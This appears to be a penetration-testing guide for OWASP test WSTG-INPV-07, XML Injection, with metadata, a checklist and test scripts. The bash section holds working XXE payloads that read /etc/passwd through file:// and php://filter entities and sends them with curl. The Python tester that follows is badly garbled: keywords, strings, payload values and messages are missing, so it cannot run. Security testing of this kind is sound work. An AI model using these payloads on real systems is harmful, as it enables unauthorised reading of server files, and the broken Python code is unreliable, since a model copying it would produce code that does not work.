wstg-inpv-07

name	wstg-inpv-07
description	Testing for XML Injection
category	input-validation
owasp_id	WSTG-INPV-07
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	["xml","xpath"]
cwe_ids	["CWE-91"]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-07

Test ID

WSTG-INPV-07

Test Name

Testing for XML Injection

High-Level Description

XML Injection occurs when user input is incorporated into XML documents without proper validation or encoding. This includes XML External Entity (XXE) injection, XPath injection, and XML tag injection. These vulnerabilities can lead to data disclosure, server-side request forgery, denial of service, or remote code execution.

---

What to Check

• XML External Entity (XXE) injection
• Billion Laughs attack (XML bomb)
• XML tag injection
• SOAP injection
• XML parameter entities
• Blind XXE via out-of-band

---

How to Test

Step 1: Identify XML Processing

#!/bin/bash
TARGET="https://target.com/api/process"

# Test basic XXE
echo "[*] Testing for XXE..."

XXE_PAYLOAD='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>'

curl -s -X POST "$TARGET" \
    -H "Content-Type: application/xml" \
    -d "$XXE_PAYLOAD"

# Test with PHP wrapper
XXE_PHP='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>'

curl -s -X POST "$TARGET" \
    -H "Content-Type: application/xml" \
    -d "$XXE_PHP"

Step 2: XML Injection Tester

#!/usr/bin/env python3
"""
XML Injection Vulnerability Tester (including XXE)
"""

 requests
 base64
 re

 :
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    XXE_PAYLOADS = {
        : ,

        : ,

        : ,

        : ,

        : ,

        : ,
    }

    
    XML_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

     ():
        
        ()

         name, payload  [
            (, .XXE_PAYLOADS[]),
            (, .XXE_PAYLOADS[]),
            (, .XXE_PAYLOADS[]),
        ]:
            :
                response = .session.post(
                    .url,
                    data=payload,
                    headers={: }
                )

                
                   response.text    response.text:
                    ()
                    .findings.append({
                        : ,
                        : name,
                        : 
                    })
                     

                
                base64_pattern = re.search(, response.text)
                 base64_pattern:
                    :
                        decoded = base64.b64decode(base64_pattern.group())
                           decoded:
                            ()
                            .findings.append({
                                : ,
                                : 
                            })
                             
                    :
                        

             Exception  e:
                

         

     ():
        
        ()

        :
            response = .session.post(
                .url,
                data=.XXE_PAYLOADS[],
                headers={: },
                timeout=
            )

            
               response.text    response.text:
                ()
                .findings.append({
                    : ,
                    : ,
                    : 
                })
                 

         Exception  e:
            

         

     ():
        
        ()

        
        blind_payload = 

        ()
        ()

         

     ():
        
        ()

        payloads = [
            ,
            ,
            ,
        ]

         payload  payloads:
            xml_doc = 

            :
                response = .session.post(
                    .url,
                    data=xml_doc,
                    headers={: }
                )

                   response.text  response.status_code == :
                    ()

             Exception  e:
                

     ():
        
        ()

        
        mini_bomb = 

        :
            response = .session.post(
                .url,
                data=mini_bomb,
                headers={: },
                timeout=
            )

               response.text:
                ()
                .findings.append({
                    : ,
                    : ,
                    : 
                })

         requests.exceptions.Timeout:
            ()

         Exception  e:
            

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()
                   f:
                    ()

     ():
        
        .test_xxe_file_read()
        .test_xxe_ssrf()
        .test_blind_xxe()
        .test_xml_tag_injection()
        .test_dos()
        .generate_report()


tester = XMLInjectionTester()
tester.run_tests()